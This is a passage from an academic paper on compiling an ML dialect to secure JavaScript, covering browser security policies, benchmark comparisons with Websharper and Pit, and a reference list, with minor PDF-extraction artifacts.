we are able to implement some of these policies in f? , without requiring any support from the browser. The policies being written in f? , we can prove their correctness by contextual equivalence at the f? level, and demonstrate that the resulting JavaScript programs satisfy these properties. The C ON S CRIPT paper presents 17 concrete policies, 6 of which we were able to implement entirely in f? . Performance evaluation and comparison with other compilers Running secure JavaScript comes at a price, as our compiled code must initialize a safe run-time environment, and interactions with 12 untrusted code must be mediated by the defensive wrappers, themselves coded in JavaScript. We have compared the result of our prototype compiler against two commercial F# compilers, Websharper (2012), and Pit (2012). We measure six programs from a benchmark suite for ML (Leroy 1996). The choice of these programs has been dictated by the features supported by f? : we use 3 benchmarks manipulating

integers (fib, tak, and takc) and 2 benchmarks manipulating lists (list-rev and sort). Overall, runtime performance of our code is on par with those generated by other compilers. For code manipulating heavily JavaScript native typessuch as integers in fib, tak and takcwe compare favorably with Pit and Websharper. For code making heavy use of ML data-typessuch as lists in sort and list-revwe are slower by an order of magnitude. We attribute this slow-down to the naivety of our datatype translation, which can easily be improved without compromising safety. As regards code size, our scripts are more verbose by a factor of 4. However, on small examples, leaving the security-enforcing code out of the picture, we see that our translation compares favorably with others. Th size of the security-enforcing code depends only on the number of foreign JavaScript functions called, and would be amortized on larger, more realistic source programs. References Websharper, 2012. URL http://websharpercom

Pit, 2012. URL http://pitfworg/ M. Abadi Protection in programming-language translations In ICALP, volume 1443, pages 868–883, 1998. M. Abadi and G D Plotkin On protection by layout randomization In IEEE CSF, pages 337–351, 2010. M. Abadi, C Fournet, and G Gonthier Secure implementation of channel abstractions. Information and Computation, 174(1):37–83, Apr 2002 P. Agten, R Strackx, B Jacobs, and F Piessens Secure compilation to modern processors. In IEEE CSF, pages 171–185, 2012 Caja. Attack vectors for privilege escalation, 2012 URL http://code google.com/p/google-caja/wiki/AttackVectors E. Cooper, S Lindley, P Wadler, and J Yallop Links: Web programming without tiers. In FMCO, 2006 L. de Moura and N Bjørner Z3: An efficient SMT solver In TACAS, 2008 A. Guha, C Saftoiu, and S Krishnamurthi The essence of javascript In ECOOP’10. Springer-Verlag, 2010 A. Kennedy Securing the net programming model TCS, 364(3):311–317, Nov. 2006 S. Lassen Eager normal form bisimulation LICS,

2005 X. Leroy Ml benchmarks, 1996 URL ftp://ftpinriafr/INRIA/ Projects/cristal/Xavier.Leroy/benchmarks/ S. Maffeis, J C Mitchell, and A Taly An operational semantics for javascript. In APLAS, 2008 J. McCarthy Towards a mathematical science of computation In IFIP Congress, pages 21–28, 1962. L. A Meyerovich and V B Livshits Conscript: Specifying and enforcing fine-grained security policies for javascript in the browser. In IEEE S&P, 2010. J. H Morris Protection in programming languages In CACM, volume 16, pages 15–21, 1973. C. Schlesinger and N Swamy Verification condition generation with the dijkstra state monad. Technical report, MSR, 2012 M. Serrano, E Gallesio, and F Loitsch Hop: a language for programming the web 2.0 In OOPSLA Companion, pages 975–985, 2006 E. Sumii and B C Pierce A bisimulation for type abstraction and recursion In POPL, 2005 N. Swamy, J Chen, C Fournet, P-Y Strub, K Bhargavan, and J Yang Secure distributed programming with value-dependent types. In

ICFP, 2011. A. Taly, U Erlingsson, J C Mitchell, M S Miller, and J Nagra Automated analysis of security-critical javascript apis. In IEEE S&P, 2011 2012/7/11